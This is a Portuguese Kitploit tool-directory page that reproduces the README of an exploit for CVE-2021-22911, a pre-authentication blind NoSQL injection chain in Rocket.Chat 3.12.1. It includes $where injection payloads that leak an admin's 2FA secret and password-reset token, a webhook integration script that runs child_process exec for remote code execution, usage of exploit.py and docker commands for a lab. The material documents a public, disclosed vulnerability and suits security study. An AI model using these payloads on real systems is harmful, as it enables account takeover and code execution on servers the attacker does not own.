Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2021-22911 — Injeção NoSQL cega pré-auth que leva à Execução Remota de Código no Rocket Chat 3.12.1 | Kitploit
Ferramentas/GitHubGitHub/csenox/cve-2021-22911
Escalada de PrivilégiosAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoFerramenta de Acesso Remoto
GitHubcsenox/cve-2021-22911

CVE-2021-22911

Injeção NoSQL cega pré-auth que leva à Execução Remota de Código no Rocket Chat 3.12.1

Ver Repositório
618há 3 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2021-22911

Injeção cega NoSQL sem pré-autenticação levando à Execução Remota de Código no Rocket Chat 3.12.1

  • O método getPasswordPolicy é vulnerável a ataques de injeção NoSQL e não requer autenticação/autorização. Ele pode ser usado para assumir contas vazando tokens de redefinição de senha. Assumir uma conta de administrador leva à Execução Remota de Código.

Explicação

  1. Sequestro da conta do usuário ( Não autenticado )
  • Há injeção NoSQL no endpoint getPasswordPolicy no parâmetro token de redefinição de senha, que recebe um objeto json permitindo-nos usar o operador $regex. Que usamos para realizar injeção NoSQL cega para obter o token de redefinição.
  1. Escalação de privilégio para admin ( Autenticado )
  • O usuário admin provavelmente está protegido por 2FA. Então, mesmo se alterarmos a senha do admin através de (1), será solicitado o código 2FA no login.

  • O endpoint da API users.list recebe um parâmetro de consulta vulnerável a injeção NoSQL. Também somos capazes de recuperar dados ao lançar um erro.

  • Executamos a seguinte consulta para obter o segredo 2FA do admin : {"$where":"this.username==='admin' && (()=>{ throw this.services.totp.secret })()"}

  • Em seguida, apenas fazemos (1) para redefinir a senha do admin e usamos o segredo 2FA para gerar o código que podemos usar para entrar.

  • Atualizado : Você também pode recuperar o token de redefinição da mesma forma que recuperou o segredo 2FA : {"$where":"this.username==='admin' && (()=>{ throw this.services.password.reset.token })()"}

  1. RCE ( Autenticado - Admin )
  • O Rocket.Chat tem um recurso chamado Integrations que permite criar web hooks de entrada e saída. Esses web hooks podem ter scripts associados a eles que são executados quando o web hook é acionado.
  • Criamos uma integração com o seguinte script :
root@kitploit:~
const require = console.log.constructor('return process.mainModule.require')();
const { exec } = require('child_process');
exec('command here');
  • Em seguida, apenas acionamos o webhook para obter rce :)

Uso

  • Você precisará do e-mail de um usuário de baixo privilégio que não tenha 2FA configurado. ( -u )
  • Você também precisará saber o e-mail do administrador. Não é um problema se o admin estiver protegido com 2FA. ( -a )
root@kitploit:~
python3 exploit.py -u "[email protected]" -a "[email protected]" -t "http://rocket.local"

Ambiente

  • Testado no Rocket Chat 3.12.1
  • Construindo seu próprio ambiente de teste usando docker :
root@kitploit:~
docker run --name db -d mongo:3.6 --smallfiles --replSet rs0 --oplogSize 128
docker exec -ti db mongo --eval "printjson(rs.initiate())"
docker run --name rocketchat -p 80:3000 --link db --env ROOT_URL=http://localhost --env MONGO_OPLOG_URL=mongodb://db:27017/local -d rocket.chat:3.12.1

  • Habilite a Política de Senha
  • Habilite 2FA para o Admin
  • Registre um usuário normal.

NOTA: Se você não quiser que o Administrador seja protegido com 2FA, você pode fazer o seguinte.

  1. Envie o e-mail de senha esquecida
  2. Obtenha o resettoken para o admin
  3. Altere a senha usando o token de redefinição recuperado
root@kitploit:~
# Admin Account Takover [ No 2fa ]
forgotpassword(adminmail,target)
token = resettoken(target)
changingpassword(target,token)

Créditos

  • https://hackerone.com/reports/1130721 ( sonar source )
  • https://blog.sonarsource.com/nosql-injections-in-rocket-chat

Exploit-db

  • https://www.exploit-db.com/exploits/49960 ( v1 )
  • https://www.exploit-db.com/exploits/50108 ( v2 )
Baixar ferramenta